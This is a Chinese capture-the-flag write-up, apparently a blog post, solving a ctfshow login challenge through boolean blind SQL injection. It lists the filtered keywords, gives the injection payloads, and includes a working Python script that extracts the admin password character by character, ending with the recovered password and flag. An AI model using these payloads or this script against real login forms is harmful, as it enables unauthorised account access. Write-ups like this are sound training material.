ctfshow-萌新记忆

萌新赛-萌新记忆
信息收集

首先进去是一堆无用界面,都是静态的图片触发,没有交互,那么必备程序,扫后台,启动dirmap,扫出来了,芜湖~,发现admin界面

在这里插入图片描述

在这里插入图片描述

那么接下来就是抓包分析,登录抓一个包,然后用字典Fuzz,看看有没有SQLi,这里我首先Fuzz密码,发现都是同一回显,恼,但是Fuzz登录名的时候爆出来SQL语句错,嘿嘿,那么肯定是SQLi啦。

在这里插入图片描述

分别有四种回显:我报警了用户···········错误,用户名/密码错误,原生SQL报错

第一种明显就是直接黑名单了,or,select,limit,order by,concat,group_concat,database,....都被过滤掉了

还剩下,updataxml,||,as,',(),

解题

接下来就是探寻如何解题,首先想到报错注入,但是啊,gourp_concat和concat被ban掉了,好像爆不出来,那么按照优先级:union>报错>盲注>时间盲注,那么我们尝试bool盲注,使用||拼接,

尝试payload:admin123'||'1'<'2>=都被ban了,单引号就是为了闭合,在用户名不匹配时,||前面才是false,后面就可以由我们自己产生想要的bool值,如上payload返回:

在这里插入图片描述

我们再构造payload:admin123'||'1'<'1

在这里插入图片描述

可见,产生不同的回显,那么我们就可以编写盲注脚本进行猜解了

首先我们可以确定存在admin用户,那么接下来获取其密码,但是经过多次试验,对payload有长度限制,当输入admin'||length(p)<30'admin'||length(p)<3'的回显不一样,一个会返回用户名错误,一个会返回报错,实际这条SQL语句确实会报错,说明后端对用户名有长度限制,

emmm,无所谓,改一下a'||length(p)<30||',这个为基础先用BP重放得到p字段的长度,<15,<20,<19,<18,<17,最后得到p字段长度为17

下面编写脚本得到密码:

import requests

url='http://d824de54-d045-47c7-a554-dac4d607ed57.challenge.ctf.show/admin/checklogin.php'
#按照ASCII大小排序
str='1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
password=''
for j in range(1,18):
    for i in str:
        payload="'||substr(p,%d,1)<'%s"%(j,i)
        data={
            "u":payload,
            "p":1
        }
        resp=requests.post(url=url,data=data)
        # print(resp.text)
        if "密码错误" in resp.text and "用户名" not in resp.text:
            password+=chr(ord(i)-1)
            print(password)
            break
        pass
    pass
print("password:"+password)

最后得到密码:cptbtptpbcptdtptp

登录得flag:ctfshow{9cbc6211-d74d-4ee0-8055-2d434614e27b}

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值